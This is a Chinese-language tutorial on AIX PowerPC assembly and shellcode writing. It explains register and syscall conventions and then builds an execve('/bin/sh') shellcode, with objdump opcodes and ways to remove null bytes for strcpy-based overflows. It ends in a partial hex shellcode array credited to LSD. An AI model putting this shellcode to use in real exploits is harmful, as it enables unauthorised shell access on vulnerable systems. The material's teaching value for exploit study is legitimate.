一、熟悉PowerPC体系及其精简指令集计算
PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:
1、分支(branch)指令
2、定点(fixed-point)指令
3、浮点(floating-point)指令
4、装载和存储指令
5、处理器控制指令
PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
通用寄存器的用途:
r0
在函数开始(function prologs)时使用。
r1
堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
r2
内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。
r3
作为第一个参数和返回地址。
r4-r10
函数或系统调用开始的参数。
r11
用在指针的调用和当作一些语言的环境指针。
r12
它用在异常处理和glink(动态连接器)代码。
r13
保留作为系统线程ID。
r14-r31 作为本地变量,非易失性。
专用寄存器的用途:
lr
链接寄存器,它用来存放函数调用结束处的返回地址。
ctr
计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
xer
定点异常寄存器,存放整数运算操作的进位以及溢出信息。
msr
机器状态寄存器,用来配置微处理器的设定。
cr
条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
二、学习AIX PowerPC汇编
由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
/* setuid.c
*
*
Learn AIX PowerPC assemble
*/
#include <unistd.h
int main()
{
setuid(0);
}
用gcc的-S选项编译一下:
bash-2.04$ gcc -S setuid.c
在当前目录得到setuid.s:
.file
"setuid.c"
.toc
.csect .text[PR]
gcc2_compiled.:
__gnu_compiled_c:
.align 2
.globl main
.globl .main
.csect main[DS]
main:
.long .main, TOC[tc0], 0
.csect .text[PR]
.main:
.extern __mulh
.extern __mull
.extern __divss
.extern __divus
.extern __quoss
.extern __quous
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-64(1)
mr 31,1
bl .__main
cror 31,31,31
li 3,0
bl .setuid
cror 31,31,31
L..2:
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
LT..main:
.long 0
.byte 0,0,32,97,128,1,0,1
.long LT..main-.main
.short 4
.byte "main"
.byte 31
_section_.text:
.csect .data[RW],3
.long _section_.text
经过精简,发现如下这样的格式就足够了:
.globl .main
.csect .text[PR]
.main:
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-64(1)
mr 31,1
bl .__main
cror 31,31,31
li 3,0
bl .setuid
cror 31,31,31
L..2:
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
三、学习AIX PowerPC的shellcode
B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:
bash-2.04$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
xor.
%r5, %r5, %r5
# 把r5寄存器清空,并且在cr寄存器设置相等标志
bnel
.main
# 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
mflr
%r3
# 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
addi
%r3, %r3, 32
# 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
stw
%r3, -8(%r1)
# argv[0] = string 把r3写入堆栈
stw
%r5, -4(%r1)
# argv[1] = NULL 把0写入堆栈
subi
%r4, %r1, 8
# r4指向argv[]
li
%r2, 3
# AIX 4.3的execve中断号是3
crorc
%cr6, %cr6, %cr6
# 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
svca
0
# execve(r3, r4, r5)
string:
# execve(path, argv[], NULL)
.asciz
"/bin/sh"
bash-2.04$ gcc -o simple_execve simple_execve.s
bash-2.04$ ./simple_execve
$
正确执行了execve,用objdump查看一下它的opcode:
bash-2.04$ objdump -d simple_execve|more
0000000010000308 <.main:
10000308:
7c a5 2a 79
xor.
r5,r5,r5
1000030c:
40 82 ff fd
bnel
10000308 <.main
10000310:
7c 68 02 a6
mflr
r3
10000314:
38 63 00 20
cal
r3,32(r3)
10000318:
90 61 ff f8
st
r3,-8(r1)
1000031c:
90 a1 ff fc
st
r5,-4(r1)
10000320:
38 81 ff f8
cal
r4,-8(r1)
10000324:
38 40 00 03
lil
r2,3
10000328:
4c c6 33 42
crorc
6,6,6
1000032c:
44 00 00 02
svca
0
10000330:
2f 62 69 6e
cmpi
6,r2,26990
10000334:
2f 73 68 00
cmpi
6,r19,26624
可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
/* shellcode.c
*
*
ripped from lsd
*/
char shellcode[] =
/* 12*4+8 bytes
*/
"\x7c\xa5\x2a\x79"
/* xor.
r5,r5,r5
*/
"\x40\x82\xff\xfd"
/* bnel
<shellcode
*/
"\x7f\xe8\x02\xa6"
/* mflr
r31
*/
"\x3b\xff\x01\x20"
/* cal
r31,0x120(r31)
*/
"\x38\x7f\xff\x08"
/* cal
r3,-248(r31)
*/
"\x38\x9f\xff\x10"
/* cal
r4,-240(r31)
*/
"\x90\x7f\xff\x10"
/* st
r3,-240(